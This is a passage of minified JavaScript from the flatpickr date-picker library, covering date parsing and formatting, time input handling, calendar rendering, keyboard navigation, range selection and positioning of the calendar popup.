Date(t)},d:function(e,t){e.setDate(parseFloat(t))},h:function(e,t){e.setHours(parseFloat(t))},i:function(e,t){e.setMinutes(parseFloat(t))},j:function(e,t){e.setDate(parseFloat(t))},l:e,m:function(e,t){e.setMonth(parseFloat(t)-1)},n:function(e,t){e.setMonth(parseFloat(t)-1)},s:function(e,t){e.setSeconds(parseFloat(t))},u:function(e,t){return new Date(parseFloat(t))},w:e,y:function(e,t){e.setFullYear(2e3+parseFloat(t))}},xe={D:"(\\w+)",F:"(\\w+)",G:"(\\d\\d|\\d)",H:"(\\d\\d|\\d)",J:"(\\d\\d|\\d)\\w+",K:"",M:"(\\w+)",S:"(\\d\\d|\\d)",U:"(.+)",W:"(\\d\\d|\\d)",Y:"(\\d{4})",Z:"(.+)",d:"(\\d\\d|\\d)",h:"(\\d\\d|\\d)",i:"(\\d\\d|\\d)",j:"(\\d\\d|\\d)",l:"(\\w+)",m:"(\\d\\d|\\d)",n:"(\\d\\d|\\d)",s:"(\\d\\d|\\d)",u:"(.+)",w:"(\\d\\d|\\d)",y:"(\\d{2})"},a={Z:function(e){return e.toISOString()},D:function(e,t,n){return t.weekdays.shorthand[a.w(e,t,n)]},F:function(e,t,n){return Ce(a.n(e,t,n)-1,!1,t)},G:function(e,t,n){return pe(a.h(e,t,n))},H:function(e){return pe(e.getHours())},J:function(e,t){return void 0!==t.ordinal?e.getDate()+t.ordinal(e.getDate()):e.getDate()},K:function(e,t){return t.amPM[_e(11<e.getHours())]},M:function(e,t){return Ce(e.getMonth(),!0,t)},S:function(e){return pe(e.getSeconds())},U:function(e){return e.getTime()/1e3},W:function(e,t,n){return n.getWeek(e)},Y:function(e){return pe(e.getFullYear(),4)},d:function(e){return pe(e.getDate())},h:function(e){return e.getHours()%12?e.getHours()%12:12},i:function(e){return pe(e.getMinutes())},j:function(e){return e.getDate()},l:function(e,t){return t.weekdays.longhand[e.getDay()]},m:function(e){return pe(e.getMonth()+1)},n:function(e){return e.getMonth()+1},s:function(e){return e.getSeconds()},u:function(e){return e.getTime()},w:function(e){return e.getDay()},y:function(e){return String(e.getFullYear()).substring(2)}},Me=function(e){var t=e.config,s=void 0===t?de:t,t=e.l10n,n=void 0===t?fe:t,t=e.isMobile,r=void 0!==t&&t;return function(i,e,t){var o=t||n;return void 0===s.formatDate||r?e.split("").map(function(e,t,n){return a[e]&&"\\"!==n[t-1]?a[e](i,o,s):"\\"!==e?e:""}).join(""):s.formatDate(i,e,o)}},ke=function(e){var t=e.config,_=void 0===t?de:t,t=e.l10n,m=void 0===t?fe:t;return function(e,t,n,i){if(0===e||e){var o=i||m,i=e;if(e instanceof Date)r=new Date(e.getTime());else if("string"!=typeof e&&void 0!==e.toFixed)r=new Date(e);else if("string"==typeof e){var s=t||(_||de).dateFormat,t=String(e).trim();if("today"===t)r=new Date,n=!0;else if(/Z$/.test(t)||/GMT$/.test(t))r=new Date(e);else if(_&&_.parseDate)r=_.parseDate(e,s);else{for(var r=_&&_.noCalendar?new Date((new Date).setHours(0,0,0,0)):new Date((new Date).getFullYear(),0,1,0,0,0,0),a=void 0,l=[],c=0,h=0,u="";c<s.length;c++){var d=s[c],f="\\"===d,p="\\"===s[c-1]||f;xe[d]&&!p?(u+=xe[d],(p=new RegExp(u).exec(e))&&(a=!0)&&l["Y"!==d?"push":"unshift"]({fn:g[d],val:p[++h]})):f||(u+="."),l.forEach(function(e){var t=e.fn,e=e.val;return r=t(r,e,o)||r})}r=a?r:void 0}}if(r instanceof Date&&!isNaN(r.getTime()))return!0===n&&r.setHours(0,0,0,0),r;_.errorHandler(new Error("Invalid date provided: "+i))}}};function Ee(e,t,n){return!1!==(n=void 0===n?!0:n)?new Date(e.getTime()).setHours(0,0,0,0)-new Date(t.getTime()).setHours(0,0,0,0):e.getTime()-t.getTime()}var Te=function(e,t,n){return e>Math.min(t,n)&&e<Math.max(t,n)},Oe={DAY:864e5};function Se(e){var t,n,i,o=e.defaultHour,s=e.defaultMinute,r=e.defaultSeconds;return void 0!==e.minDate&&(n=e.minDate.getHours(),i=e.minDate.getMinutes(),t=e.minDate.getSeconds(),(o=o<n?n:o)===n&&s<i&&(s=i),o===n&&s===i&&r<t&&(r=e.minDate.getSeconds())),void 0!==e.maxDate&&(n=e.maxDate.getHours(),i=e.maxDate.getMinutes(),(o=Math.min(o,n))===n&&(s=Math.min(i,s)),o===n&&s===i&&(r=e.maxDate.getSeconds())),{hours:o,minutes:s,seconds:r}}"function"!=typeof Object.assign&&(Object.assign=function(n){for(var e=[],t=1;t<arguments.length;t++)e[t-1]=arguments[t];if(!n)throw TypeError("Cannot convert undefined or null to object");for(var i=0,o=e;i<o.length;i++)!function(t){t&&Object.keys(t).forEach(function(e){return n[e]=t[e]})}(o[i]);return n});var Ae=300;function r(c,P){var p={config:ce(ce({},de),Ie.defaultConfig),l10n:fe};function Y(e){return e.bind(p)}function H(){var t=p.config;!1===t.weekNumbers&&1===t.showMonths||!0!==t.noCalendar&&window.requestAnimationFrame(function(){var e;void 0!==p.calendarContainer&&(p.calendarContainer.style.visibility="hidden",p.calendarContainer.style.display="block"),void 0!==p.daysContainer&&(e=(p.days.offsetWidth+1)*t.showMonths,p.daysContainer.style.width=e+"px",p.calendarContainer.style.width=e+(void 0!==p.weekWrapper?p.weekWrapper.offsetWidth:0)+"px",p.calendarContainer.style.removeProperty("visibility"),p.calendarContainer.style.removeProperty("display"))})}function h(e){0===p.selectedDates.length&&(o=void 0===p.config.minDate||0<=Ee(new Date,p.config.minDate)?new Date:new Date(p.config.minDate.getTime()),s=Se(p.config),o.setHours(s.hours,s.minutes,s.seconds,o.getMilliseconds()),p.selectedDates=[o],p.latestSelectedDateObj=o),void 0!==e&&"blur"!==e.type&&((s=e).preventDefault(),o="keydown"===s.type,t=e=De(s),void 0!==p.amPM&&e===p.amPM&&(p.amPM.textContent=p.l10n.amPM[_e(p.amPM.textContent===p.l10n.amPM[0])]),e=parseFloat(t.getAttribute("min")),a=parseFloat(t.getAttribute("max")),n=parseFloat(t.getAttribute("step")),i=parseInt(t.value,10),o=s.delta||(o?38===s.which?1:-1:0),s=i+n*o,void 0!==t.value&&2===t.value.length&&(o=t===p.hourElement,r=t===p.minuteElement,s<e?(s=a+s+_e(!o)+(_e(o)&&_e(!p.amPM)),r&&l(void 0,-1,p.hourElement)):a<s&&(s=t===p.hourElement?s-a-_e(!p.amPM):e,r&&l(void 0,1,p.hourElement)),p.amPM&&o&&(1===n?s+i===23:Math.abs(s-i)>n)&&(p.amPM.textContent=p.l10n.amPM[_e(p.amPM.textContent===p.l10n.amPM[0])]),t.value=pe(s)));var t,n,i,o,s,r,a=p._input.value;u(),T(),p._input.value!==a&&p._debouncedChange()}function u(){var e,t,n,i,o,s;void 0!==p.hourElement&&void 0!==p.minuteElement&&(o=(parseInt(p.hourElement.value.slice(-2),10)||0)%24,e=(parseInt(p.minuteElement.value,10)||0)%60,t=void 0!==p.secondElement?(parseInt(p.secondElement.value,10)||0)%60:0,void 0!==p.amPM&&(n=o,i=p.amPM.textContent,o=n%12+12*_e(i===p.l10n.amPM[1])),n=void 0!==p.config.minTime||p.config.minDate&&p.minDateHasTime&&p.latestSelectedDateObj&&0===Ee(p.latestSelectedDateObj,p.config.minDate,!0),(void 0!==p.config.maxTime||p.config.maxDate&&p.maxDateHasTime&&p.latestSelectedDateObj&&0===Ee(p.latestSelectedDateObj,p.config.maxDate,!0))&&(i=void 0!==p.config.maxTime?p.config.maxTime:p.config.maxDate,(e=(o=Math.min(o,i.getHours()))===i.getHours()?Math.min(e,i.getMinutes()):e)===i.getMinutes()&&(t=Math.min(t,i.getSeconds()))),n&&(s=void 0!==p.config.minTime?p.config.minTime:p.config.minDate,(e=(o=Math.max(o,s.getHours()))===s.getHours()&&e<s.getMinutes()?s.getMinutes():e)===s.getMinutes()&&(t=Math.max(t,s.getSeconds()))),r(o,e,t))}function i(e){e=e||p.latestSelectedDateObj;e&&r(e.getHours(),e.getMinutes(),e.getSeconds())}function r(e,t,n){void 0!==p.latestSelectedDateObj&&p.latestSelectedDateObj.setHours(e%24,t,n||0,0),p.hourElement&&p.minuteElement&&!p.isMobile&&(p.hourElement.value=pe(p.config.time_24hr?e:(12+e)%12+12*_e(e%12==0)),p.minuteElement.value=pe(t),void 0!==p.amPM&&(p.amPM.textContent=p.l10n.amPM[_e(12<=e)]),void 0!==p.secondElement&&(p.secondElement.value=pe(n)))}function L(e){var t=De(e),t=parseInt(t.value)+(e.delta||0);(1<t/1e3||"Enter"===e.key&&!/[^\d]/.test(t.toString()))&&w(t)}function a(t,n,i,o){return n instanceof Array?n.forEach(function(e){return a(t,e,i,o)}):t instanceof Array?t.forEach(function(e){return a(e,n,i,o)}):(t.addEventListener(n,i,o),void p._handlers.push({remove:function(){return t.removeEventListener(n,i)}}))}function o(){k("onChange")}function s(t,e){var t=void 0!==t?p.parseDate(t):p.latestSelectedDateObj||(p.config.minDate&&p.config.minDate>p.now?p.config.minDate:p.config.maxDate&&p.config.maxDate<p.now?p.config.maxDate:p.now),n=p.currentYear,i=p.currentMonth;try{void 0!==t&&(p.currentYear=t.getFullYear(),p.currentMonth=t.getMonth())}catch(e){e.message="Invalid date supplied: "+t,p.config.errorHandler(e)}e&&p.currentYear!==n&&(k("onYearChange"),v()),!e||p.currentYear===n&&p.currentMonth===i||k("onMonthChange"),p.redraw()}function R(e){var t=De(e);~t.className.indexOf("arrow")&&l(e,t.classList.contains("arrowUp")?1:-1)}function l(e,t,n){e=e&&De(e),n=n||e&&e.parentNode&&e.parentNode.firstChild,e=ie("increment");e.delta=t,n&&n.dispatchEvent(e)}function d(e,t,n,i){var o=D(t,!0),s=ye("span","flatpickr-day "+e,t.getDate().toString());return s.dateObj=t,s.$i=i,s.setAttribute("aria-label",p.formatDate(t,p.config.ariaDateFormat)),-1===e.indexOf("hidden")&&0===Ee(t,p.now)&&((p.todayDateElem=s).classList.add("today"),s.setAttribute("aria-current","date")),o?(s.tabIndex=-1,oe(t)&&(s.classList.add("selected"),p.selectedDateElem=s,"range"===p.config.mode&&(ve(s,"startRange",p.selectedDates[0]&&0===Ee(t,p.selectedDates[0],!0)),ve(s,"endRange",p.selectedDates[1]&&0===Ee(t,p.selectedDates[1],!0)),"nextMonthDay"===e&&s.classList.add("inRange")))):s.classList.add("flatpickr-disabled"),"range"===p.config.mode&&(i=t,"range"!==p.config.mode||p.selectedDates.length<2||!(0<=Ee(i,p.selectedDates[0])&&Ee(i,p.selectedDates[1])<=0)||oe(t)||s.classList.add("inRange")),p.weekNumbers&&1===p.config.showMonths&&"prevMonthDay"!==e&&n%7==1&&p.weekNumbers.insertAdjacentHTML("beforeend","<span class='flatpickr-day'>"+p.config.getWeek(t)+"</span>"),k("onDayCreate",s),s}function _(e){e.focus(),"range"===p.config.mode&&K(e)}function m(e){for(var t=0<e?0:p.config.showMonths-1,n=0<e?p.config.showMonths:-1,i=t;i!=n;i+=e)for(var o=p.daysContainer.children[i],s=0<e?0:o.children.length-1,r=0<e?o.children.length:-1,a=s;a!=r;a+=e){var l=o.children[a];if(-1===l.className.indexOf("hidden")&&D(l.dateObj))return l}}function g(e,t){var n=C(document.activeElement||document.body),e=void 0!==e?e:n?document.activeElement:void 0!==p.selectedDateElem&&C(p.selectedDateElem)?p.selectedDateElem:void 0!==p.todayDateElem&&C(p.todayDateElem)?p.todayDateElem:m(0<t?1:-1);if(void 0===e)p._input.focus();else if(n){for(var i=e,o=t,s=-1===i.className.indexOf("Month")?i.dateObj.getMonth():p.currentMonth,r=0<o?p.config.showMonths:-1,a=0<o?1:-1,l=s-p.currentMonth;l!=r;l+=a)for(var c=p.daysContainer.children[l],h=s-p.currentMonth===l?i.$i+o:o<0?c.children.length-1:0,u=c.children.length,d=h;0<=d&&d<u&&d!=(0<o?u:-1);d+=a){var f=c.children[d];if(-1===f.className.indexOf("hidden")&&D(f.dateObj)&&Math.abs(i.$i-d)>=Math.abs(o))return void _(f)}p.changeMonth(a),g(m(a),0)}else _(e)}function f(){if(void 0!==p.daysContainer){be(p.daysContainer),p.weekNumbers&&be(p.weekNumbers);for(var e=document.createDocumentFragment(),t=0;t<p.config.showMonths;t++){var n=new Date(p.currentYear,p.currentMonth,1);n.setMonth(p.currentMonth+t),e.appendChild(function(e,t){for(var n=(new Date(e,t,1).getDay()-p.l10n.firstDayOfWeek+7)%7,i=p.utils.getDaysInMonth((t-1+12)%12,e),o=p.utils.getDaysInMonth(t,e),s=window.document.createDocumentFragment(),r=1<p.config.showMonths,a=r?"prevMonthDay hidden":"prevMonthDay",l=r?"nextMonthDay hidden":"nextMonthDay",c=i+1-n,h=0;c<=i;c++,h++)s.appendChild(d(a,new Date(e,t-1,c),c,h));for(c=1;c<=o;c++,h++)s.appendChild(d("",new Date(e,t,c),c,h));for(var u=o+1;u<=42-n&&(1===p.config.showMonths||h%7!=0);u++,h++)s.appendChild(d(l,new Date(e,t+1,u%o),u,h));return(r=ye("div","dayContainer")).appendChild(s),r}(n.getFullYear(),n.getMonth()))}p.daysContainer.appendChild(e),p.days=p.daysContainer.firstChild,"range"===p.config.mode&&1===p.selectedDates.length&&K()}}function v(){if(!(1<p.config.showMonths||"dropdown"!==p.config.monthSelectorType)){p.monthsDropdownContainer.tabIndex=-1,p.monthsDropdownContainer.innerHTML="";for(var e,t=0;t<12;t++)e=t,void 0!==p.config.minDate&&p.currentYear===p.config.minDate.getFullYear()&&e<p.config.minDate.getMonth()||void 0!==p.config.maxDate&&p.currentYear===p.config.maxDate.getFullYear()&&e>p.config.maxDate.getMonth()||((e=ye("option","flatpickr-monthDropdown-month")).value=new Date(p.currentYear,t).getMonth().toString(),e.textContent=Ce(t,p.config.shorthandCurrentMonth,p.l10n),e.tabIndex=-1,p.currentMonth===t&&(e.selected=!0),p.monthsDropdownContainer.appendChild(e))}}function q(){be(p.monthNav),p.monthNav.appendChild(p.prevMonthNav),p.config.showMonths&&(p.yearElements=[],p.monthElements=[]);for(var e,t,n,i,o,s=p.config.showMonths;s--;){o=i=r=n=t=e=void 0,e=ye("div","flatpickr-month"),t=window.document.createDocumentFragment(),n=1<p.config.showMonths||"static"===p.config.monthSelectorType?ye("span","cur-month"):(p.monthsDropdownContainer=ye("select","flatpickr-monthDropdown-months"),p.monthsDropdownContainer.setAttribute("aria-label",p.l10n.monthAriaLabel),a(p.monthsDropdownContainer,"change",function(e){e=De(e),e=parseInt(e.value,10);p.changeMonth(e-p.currentMonth),k("onMonthChange")}),v(),p.monthsDropdownContainer),r=we("cur-year",{tabindex:"-1"}),(i=r.getElementsByTagName("input")[0]).setAttribute("aria-label",p.l10n.yearAriaLabel),p.config.minDate&&i.setAttribute("min",p.config.minDate.getFullYear().toString()),p.config.maxDate&&(i.setAttribute("max",p.config.maxDate.getFullYear().toString()),i.disabled=!!p.config.minDate&&p.config.minDate.getFullYear()===p.config.maxDate.getFullYear()),(o=ye("div","flatpickr-current-month")).appendChild(n),o.appendChild(r),t.appendChild(o),e.appendChild(t);var r={container:e,yearElement:i,monthElement:n};p.yearElements.push(r.yearElement),p.monthElements.push(r.monthElement),p.monthNav.appendChild(r.container)}p.monthNav.appendChild(p.nextMonthNav)}function W(){p.weekdayContainer?be(p.weekdayContainer):p.weekdayContainer=ye("div","flatpickr-weekdays");for(var e=p.config.showMonths;e--;){var t=ye("div","flatpickr-weekdaycontainer");p.weekdayContainer.appendChild(t)}return B(),p.weekdayContainer}function B(){if(p.weekdayContainer){var e=p.l10n.firstDayOfWeek,t=he(p.l10n.weekdays.shorthand);0<e&&e<t.length&&(t=he(t.splice(e,t.length),t.splice(0,e)));for(var n=p.config.showMonths;n--;)p.weekdayContainer.children[n].innerHTML="\n      <span class='flatpickr-weekday'>\n        "+t.join("</span><span class='flatpickr-weekday'>")+"\n      </span>\n      "}}function y(e,t){t=(t=void 0===t?!0:t)?e:e-p.currentMonth;t<0&&!0===p._hidePrevMonthArrow||0<t&&!0===p._hideNextMonthArrow||(p.currentMonth+=t,(p.currentMonth<0||11<p.currentMonth)&&(p.currentYear+=11<p.currentMonth?1:-1,p.currentMonth=(p.currentMonth+12)%12,k("onYearChange"),v()),f(),k("onMonthChange"),E())}function b(e){return!(!p.config.appendTo||!p.config.appendTo.contains(e))||p.calendarContainer.contains(e)}function z(e){var t,n,i;p.isOpen&&!p.config.inline&&(i=b(t=De(e)),n=t===p.input||t===p.altInput||p.element.contains(t)||e.path&&e.path.indexOf&&(~e.path.indexOf(p.input)||~e.path.indexOf(p.altInput)),n="blur"===e.type?n&&e.relatedTarget&&!b(e.relatedTarget):!n&&!i&&!b(e.relatedTarget),i=!p.config.ignoredFocusElements.some(function(e){return e.contains(t)}),n&&i&&(void 0!==p.timeContainer&&void 0!==p.minuteElement&&void 0!==p.hourElement&&""!==p.input.value&&void 0!==p.input.value&&h(),p.close(),p.config&&"range"===p.config.mode&&1===p.selectedDates.length&&(p.clear(!1),p.redraw())))}function w(e){var t;!e||p.config.minDate&&e<p.config.minDate.getFullYear()||p.config.maxDate&&e>p.config.maxDate.getFullYear()||(t=p.currentYear!==e,p.currentYear=e||p.currentYear,p.config.maxDate&&p.currentYear===p.config.maxDate.getFullYear()?p.currentMonth=Math.min(p.config.maxDate.getMonth(),p.currentMonth):p.config.minDate&&p.currentYear===p.config.minDate.getFullYear()&&(p.currentMonth=Math.max(p.config.minDate.getMonth(),p.currentMonth)),t&&(p.redraw(),k("onYearChange"),v()))}function D(e,t){var n=p.parseDate(e,void 0,t=void 0===t?!0:t);if(p.config.minDate&&n&&Ee(n,p.config.minDate,void 0!==t?t:!p.minDateHasTime)<0||p.config.maxDate&&n&&0<Ee(n,p.config.maxDate,void 0!==t?t:!p.maxDateHasTime))return!1;if(!p.config.enable&&0===p.config.disable.length)return!0;if(void 0===n)return!1;for(var i,o=!!p.config.enable,s=null!=(e=p.config.enable)?e:p.config.disable,r=0,a=void 0;r<s.length;r++){if("function"==typeof(a=s[r])&&a(n))return o;if(a instanceof Date&&void 0!==n&&a.getTime()===n.getTime())return o;if("string"==typeof a)return(i=p.parseDate(a,void 0,!0))&&i.getTime()===n.getTime()?o:!o;if("object"==typeof a&&void 0!==n&&a.from&&a.to&&n.getTime()>=a.from.getTime()&&n.getTime()<=a.to.getTime())return o}return!o}function C(e){return void 0!==p.daysContainer&&(-1===e.className.indexOf("hidden")&&-1===e.className.indexOf("flatpickr-disabled")&&p.daysContainer.contains(e))}function U(e){e.target===p._input&&(0<p.selectedDates.length||0<p._input.value.length)&&(!e.relatedTarget||!b(e.relatedTarget))&&p.setDate(p._input.value,!0,e.target===p.altInput?p.config.altFormat:p.config.dateFormat)}function J(e){var t=De(e),n=p.config.wrap?c.contains(t):t===p._input,i=p.config.allowInput,o=p.isOpen&&(!i||!n),s=p.config.inline&&n&&!i;if(13===e.keyCode&&n){if(i)return p.setDate(p._input.value,!0,t===p.altInput?p.config.altFormat:p.config.dateFormat),t.blur();p.open()}else if(b(t)||o||s){var r,a=!!p.timeContainer&&p.timeContainer.contains(t);switch(e.keyCode){case 13:a?(e.preventDefault(),h(),Z()):ee(e);break;case 27:e.preventDefault(),Z();break;case 8:case 46:n&&!p.config.allowInput&&(e.preventDefault(),p.clear());break;case 37:case 39:a||n?p.hourElement&&p.hourElement.focus():(e.preventDefault(),void 0!==p.daysContainer&&(!1===i||document.activeElement&&C(document.activeElement))&&(l=39===e.keyCode?1:-1,e.ctrlKey?(e.stopPropagation(),y(l),g(m(1),0)):g(void 0,l)));break;case 38:case 40:e.preventDefault();var l=40===e.keyCode?1:-1;p.daysContainer&&void 0!==t.$i||t===p.input||t===p.altInput?e.ctrlKey?(e.stopPropagation(),w(p.currentYear-l),g(m(1),0)):a||g(void 0,7*l):t===p.currentYearElement?w(p.currentYear-l):p.config.enableTime&&(!a&&p.hourElement&&p.hourElement.focus(),h(e),p._debouncedChange());break;case 9:a?-1!==(r=(l=[p.hourElement,p.minuteElement,p.secondElement,p.amPM].concat(p.pluginElements).filter(function(e){return e})).indexOf(t))&&(l=l[r+(e.shiftKey?-1:1)],e.preventDefault(),(l||p._input).focus()):!p.config.noCalendar&&p.daysContainer&&p.daysContainer.contains(t)&&e.shiftKey&&(e.preventDefault(),p._input.focus())}}if(void 0!==p.amPM&&t===p.amPM)switch(e.key){case p.l10n.amPM[0].charAt(0):case p.l10n.amPM[0].charAt(0).toLowerCase():p.amPM.textContent=p.l10n.amPM[0],u(),T();break;case p.l10n.amPM[1].charAt(0):case p.l10n.amPM[1].charAt(0).toLowerCase():p.amPM.textContent=p.l10n.amPM[1],u(),T()}(n||b(t))&&k("onKeyDown",e)}function K(i){if(1===p.selectedDates.length&&(!i||i.classList.contains("flatpickr-day")&&!i.classList.contains("flatpickr-disabled"))){for(var o=(i||p.days.firstElementChild).dateObj.getTime(),s=p.parseDate(p.selectedDates[0],void 0,!0).getTime(),e=Math.min(o,p.selectedDates[0].getTime()),t=Math.max(o,p.selectedDates[0].getTime()),r=!1,a=0,l=0,n=e;n<t;n+=Oe.DAY)D(new Date(n),!0)||(r=r||e<n&&n<t,n<s&&(!a||a<n)?a=n:s<n&&(!l||n<l)&&(l=n));for(var c=0;c<p.config.showMonths;c++)for(var h=p.daysContainer.children[c],u=0,d=h.children.length;u<d;u++)!function(e){var t=h.children[e],e=t.dateObj.getTime(),n=0<a&&e<a||0<l&&l<e;n?(t.classList.add("notAllowed"),["inRange","startRange","endRange"].forEach(function(e){t.classList.remove(e)})):r&&!n||(["startRange","inRange","endRange","notAllowed"].forEach(function(e){t.classList.remove(e)}),void 0!==i&&(i.classList.add(o<=p.selectedDates[0].getTime()?"startRange":"endRange"),s<o&&e===s?t.classList.add("startRange"):o<s&&e===s&&t.classList.add("endRange"),a<=e&&(0===l||e<=l)&&Te(e,s,o)&&t.classList.add("inRange")))}(u)}}function $(){!p.isOpen||p.config.static||p.config.inline||x()}function Q(n){return function(e){var e=p.config["_"+n+"Date"]=p.parseDate(e,p.config.dateFormat),t=p.config["_"+("min"===n?"max":"min")+"Date"];void 0!==e&&(p["min"===n?"minDateHasTime":"maxDateHasTime"]=0<e.getHours()||0<e.getMinutes()||0<e.getSeconds()),p.selectedDates&&(p.selectedDates=p.selectedDates.filter(function(e){return D(e)}),p.selectedDates.length||"min"!==n||i(e),T()),p.daysContainer&&(X(),void 0!==e?p.currentYearElement[n]=e.getFullYear().toString():p.currentYearElement.removeAttribute(n),p.currentYearElement.disabled=!!t&&void 0!==e&&t.getFullYear()===e.getFullYear())}}function V(){return p.config.wrap?c.querySelector("[data-input]"):c}function G(){"object"!=typeof p.config.locale&&void 0===Ie.l10ns[p.config.locale]&&p.config.errorHandler(new Error("flatpickr: invalid locale "+p.config.locale)),p.l10n=ce(ce({},Ie.l10ns.default),"object"==typeof p.config.locale?p.config.locale:"default"!==p.config.locale?Ie.l10ns[p.config.locale]:void 0),xe.K="("+p.l10n.amPM[0]+"|"+p.l10n.amPM[1]+"|"+p.l10n.amPM[0].toLowerCase()+"|"+p.l10n.amPM[1].toLowerCase()+")",void 0===ce(ce({},P),JSON.parse(JSON.stringify(c.dataset||{}))).time_24hr&&void 0===Ie.defaultConfig.time_24hr&&(p.config.time_24hr=p.l10n.time_24hr),p.formatDate=Me(p),p.parseDate=ke({config:p.config,l10n:p.l10n})}function x(e){var t,n,i,o,s,r;"function"==typeof p.config.position?p.config.position(p,e):void 0!==p.calendarContainer&&(k("onPreCalendarPosition"),e=e||p._positionElement,n=Array.prototype.reduce.call(p.calendarContainer.children,function(e,t){return e+t.offsetHeight},0),r=p.calendarContainer.offsetWidth,s=(i=p.config.position.split(" "))[0],i=1<i.length?i[1]:null,t=e.getBoundingClientRect(),o=window.innerHeight-t.bottom,s="above"===s||"below"!==s&&o<n&&t.top>n,o=window.pageYOffset+t.top+(s?-n-2:e.offsetHeight+2),ve(p.calendarContainer,"arrowTop",!s),ve(p.calendarContainer,"arrowBottom",s),p.config.inline||(n=window.pageXOffset+t.left,s=e=!1,"center"===i?(n-=(r-t.width)/2,e=!0):"right"===i&&(n-=r-t.width,s=!0),ve(p.calendarContainer,"arrowLeft",!e&&!s),ve(p.calendarContainer,"arrowCenter",e),ve(p.calendarContainer,"arrowRight",s),i=window.document.body.offsetWidth-(window.pageXOffset+t.right),e=n+r>window.document.body.offsetWidth,s=i+r>window.document.body.offsetWidth,ve(p.calendarContainer,"rightMost",e),p.config.static||(p.calendarContainer.style.top=o+"px",e?s?void 0!==(o=function(){for(var e=null,t=0;t<document.styleSheets.length;t++){var n=document.styleSheets[t];try{n.cssRules}catch(e){continue}e=n;break}return null!=e?e:function(){var e=document.createElement("style");return document.head.appendChild(e),e.sheet}()}())&&(e=window.document.body.offsetWidth,s=Math.max(0,e/2-r/2),e=o.cssRules.length,r="{left:"+t.left+"px;right:auto;}",ve(p.calendarContainer,"rightMost",!1),ve(p.calendarContainer,"centerMost",!0),o.insertRule(".flatpickr-calendar.centerMost:before,.flatpickr-calendar.centerMost:after"+r,e),p.calendarContainer.style.left=s+"px",p.calendarContainer.style.right="auto"):(p.calendarContainer.style.left="auto",p.calendarContainer.style.right=i+"px"):(p.calendarContainer.style.left=n+"px",p.calendarContainer.style.right="auto"))))}function X(){p.config.noCalendar||p.isMobile||(v(),E(),f())}function Z(){p._input.focus(),-1!==window.navigator.userAgent.indexOf("MSIE")||void 0!==navigator.msMaxTouchPoints?setTimeout(p.close,0):p.close()}function ee(e){e.preventDefault(),e.stopPropagation();var t,n,i,e=function e(t,n){return n(t)?t:t.parentNode?e(t.parentNode,n):void 0}(De(e),function(e){return e.classList&&e.classList.contains("flatpickr-day")&&!e.classList.contains("flatpickr-disabled")&&!e.classList.contains("notAllowed")});void 0!==e&&(e=e,t=((n=p.latestSelectedDateObj=new Date(e.dateObj.getTime())).getMonth()<p.currentMonth||n.getMonth()>p.currentMonth+p.config.showMonths-1)&&"range"!==p.config.mode,p.selectedDateElem=e,"single"===p.config.mode?p.selectedDates=[n]:"multiple"===p.config.mode?(i=oe(n))?p.selectedDates.splice(parseInt(i),1):p.selectedDates.push(n):"range"===p.config.mode&&(2===p.selectedDates.length&&p.clear(!1,!1),p.latestSelectedDateObj=n,p.selectedDates.push(n),0!==Ee(n,p.selectedDates[0],!0)&&p.selectedDates.sort(function(e,t){return e.getTime()-t.getTime()})),u(),t&&(i=p.currentYear!==n.getFullYear(),p.currentYear=n.getFullYear(),p.currentMonth=n.getMonth(),i&&(k("onYearChange"),v()),k("onMonthChange")),E(),f(),T(),t||"range"===p.config.mode||1!==p.config.showMonths?void 0!==p.selectedDateElem&&void 0===p.hourElement&&p.selectedDateElem&&p.selectedDateElem.focus():_(e),void 0!==p.hourElement&&void 0!==p.hourElement&&p.hourElement.focus(),p.config.closeOnSelect&&(n="single"===p.config.mode&&!p.config.enableTime,i="range"===p.config.mode&&2===p.selectedDates.length&&!p.config.enableTime,(n||i)&&Z()),o())}p.parseDate=ke({config:p.config,l10n:p.l10n}),p._handlers=[],p.pluginElements=[],p.loadedPlugins=[],p._bind=a,p._setHoursFromDate=i,p._positionCalendar=x,p.changeMonth=y,p.changeYear=w,p.clear=function(e,t){void 0===e&&(e=!0);void 0===t&&(t=!0);p.input.value="",void 0!==p.altInput&&(p.altInput.value="");void 0!==p.mobileInput&&(p.mobileInput.value="");p.selectedDates=[],!(p.latestSelectedDateObj=void 0)===t&&(p.currentYear=p._initialDate.getFullYear(),p.currentMonth=p._initialDate.getMonth());{var n,i;!0===p.config.enableTime&&(t=Se(p.config),n=t.hours,i=t.minutes,t=t.seconds,r(n,i,t))}p.redraw(),e&&k("onChange")},p.close=function(){p.isOpen=!1,p.isMobile||(void 0!==p.calendarContainer&&p.calendarContainer.classList.remove("open"),void 0!==p._input&&p._input.classList.remove("active"));k("onClose")},p._createElement=ye,p.destroy=function(){void 0!==p.config&&k("onDestroy");for(var e=p._handlers.length;e--;)p._handlers[e].remove();if(p._handlers=[],p.mobileInput)p.mobileInput.parentNode&&p.mobileInput.parentNode.removeChild(p.mobileInput),p.mobileInput=void 0;else if(p.calendarContainer&&p.calendarContainer.parentNode)if(p.config.static&&p.calendarContainer.parentNode){var t=p.calendarContainer.parentNode;if(t.lastChild&&t.removeChild(t.lastChild),t.parentNode){for(;t.firstChild;)t.parentNode.insertBefore(t.firstChild,t);t.parentNode.removeChild(t)}}else p.calendarContainer.parentNode.removeChild(p.calendarContainer);p.altInput&&(p.input.type="text",p.altInput.parentNode&&p.altInput.parentNode.removeChild(p.altInput),delete p.altInput);p.input&&(p.input.type=p.input._type,p.input.classList.remove("flatpickr-input"),p.input.removeAttribute("readonly"));["_showTimeInput","latestSelectedDateObj","_hideNextMonthArrow","_hidePrevMonthArrow","__hideNextMonthArrow","__hidePrevMonthArrow","isMobile","isOpen","selectedDateElem","minDateHasTime","maxDateHasTime","days","daysContainer","_input","_positionElement","innerContainer","rContainer","monthNav","todayDateElem","calendarContainer","weekdayContainer","prevMonthNav","nextMonthNav","monthsDropdownContainer","currentMonthElement","currentYearElement","navigationCurrentMonth","selectedDateElem","config"].forEach(function(e){try{delete p[e]}catch(e){}})},p.isEnabled=D,p.jumpToDate=s,p.open=function(e,t){void 0===t&&(t=p._positionElement);var n;!0===p.isMobile?(e&&(e.preventDefault(),(n=De(e))&&n.blur()),void 0!==p.mobileInput&&(p.mobileInput.focus(),p.mobileInput.click()),k("onOpen")):p._input.disabled||p.config.inline||(n=p.isOpen,p.isOpen=!0,n||(p.calendarContainer.classList.add("open"),p._input.classList.add("active"),k("onOpen"),x(t)),!0!==p.config.enableTime||!0!==p.config.noCalendar||!1!==p.config.allowInput||void 0!==e&&p.timeContainer.contains(e.relatedTarget)||setTimeout(function(){return 